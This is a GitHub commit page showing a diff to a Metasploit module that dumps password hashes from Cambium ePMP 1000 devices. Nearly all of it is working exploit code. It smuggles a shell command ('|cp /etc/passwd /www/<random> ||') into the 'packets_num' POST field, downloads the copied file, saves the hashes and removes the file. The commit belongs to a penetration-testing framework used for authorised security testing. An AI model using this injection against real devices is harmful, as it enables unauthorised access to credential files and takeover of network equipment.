Skip to content

Commit 216d00e

Browse files
author
Tod Beardsley
committed
Use a random fname destination for /etc/passwd
1 parent e93282b commit 216d00e

File tree

1 file changed

+8
-7
lines changed

1 file changed

+8
-7
lines changed

modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,8 @@ def run_host(ip)
4747

4848
# Command Execution
4949
def hash_dump(config_uri, cookie)
50-
command = 'cp /etc/passwd /www/'
50+
random_filename = Rex::Text::rand_text_alpha(8)
51+
command = 'cp /etc/passwd /www/' + random_filename
5152
inject = '|' + "#{command}" + ' ||'
5253
clean_inject = CGI.unescapeHTML(inject.to_s)
5354

@@ -66,7 +67,7 @@ def hash_dump(config_uri, cookie)
6667
},
6768
'vars_post' =>
6869
{
69-
'ping_ip' => '8.8.8.8', # This parameter can also be used for injection
70+
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
7071
'packets_num' => clean_inject,
7172
'buf_size' => 0,
7273
'ttl' => 1,
@@ -85,7 +86,7 @@ def hash_dump(config_uri, cookie)
8586
res = send_request_cgi(
8687
{
8788
'method' => 'GET',
88-
'uri' => '/passwd',
89+
'uri' => '/' + random_filename,
8990
'cookie' => cookie,
9091
'headers' => {
9192
'Accept' => '*/*',
@@ -104,13 +105,13 @@ def hash_dump(config_uri, cookie)
104105
)
105106

106107
if good_response
107-
vprint_status("#{rhost}:#{rport} - Dumping password hashes")
108+
print_status("#{rhost}:#{rport} - Dumping password hashes")
108109

109110
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
110111
print_status("#{rhost}:#{rport} - Hashes saved in: #{path}")
111112

112113
# clean up the passwd file from /www/
113-
command = 'rm /www/passwd'
114+
command = 'rm /www/' + random_filename
114115
inject = '|' + "#{command}" + ' ||'
115116
clean_inject = CGI.unescapeHTML(inject.to_s)
116117

@@ -129,7 +130,7 @@ def hash_dump(config_uri, cookie)
129130
},
130131
'vars_post' =>
131132
{
132-
'ping_ip' => '8.8.8.8', # This parameter can also be used for injection
133+
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
133134
'packets_num' => clean_inject,
134135
'buf_size' => 0,
135136
'ttl' => 1,
@@ -138,7 +139,7 @@ def hash_dump(config_uri, cookie)
138139
}
139140
)
140141
else
141-
check_file_uri = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + '/passwd'
142+
check_file_uri = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + '/' + random_filename
142143
print_error("#{rhost}:#{rport} - Could not retrieve hashes. Try manually by directly accessing #{check_file_uri}.")
143144
end
144145
else

0 commit comments

Comments
 (0)